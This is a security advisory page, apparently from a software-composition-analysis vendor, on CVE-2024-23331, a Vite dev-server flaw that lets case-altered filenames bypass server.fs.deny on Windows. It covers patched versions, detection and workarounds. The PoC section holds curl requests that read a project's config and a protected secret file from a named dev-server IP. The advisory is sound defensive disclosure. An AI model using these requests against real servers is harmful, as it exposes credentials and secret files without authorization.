CVE-2024-23331 is a high-severity (CVSS 7.5) CWE-178 vulnerability in vite. 1 public exploit reference exists, so weaponization risk is real. A fix is available for vite — see the affected versions and patch details below.
Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-23331.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-23331 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vitenpmDescription
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
curl -s http://20.12.242.81:5173/@fs//- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vite | ≥ 2.7.0&&< 2.9.17 | 2.9.17npm install vite@2.9.17 |
| 📦npm | vite | ≥ 3.0.0&&< 3.2.8 | 3.2.8npm install vite@3.2.8 |
| 📦npm | vite | ≥ 4.0.0&&< 4.5.2 | 4.5.2npm install vite@4.5.2 |
| 📦npm | vite | ≥ 5.0.0&&< 5.0.12 | 5.0.12npm install vite@5.0.12 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vite, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vite to 2.9.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23331 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-23331 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-23331. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-23331 in your dependencies?
O3 Security finds CVE-2024-23331 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.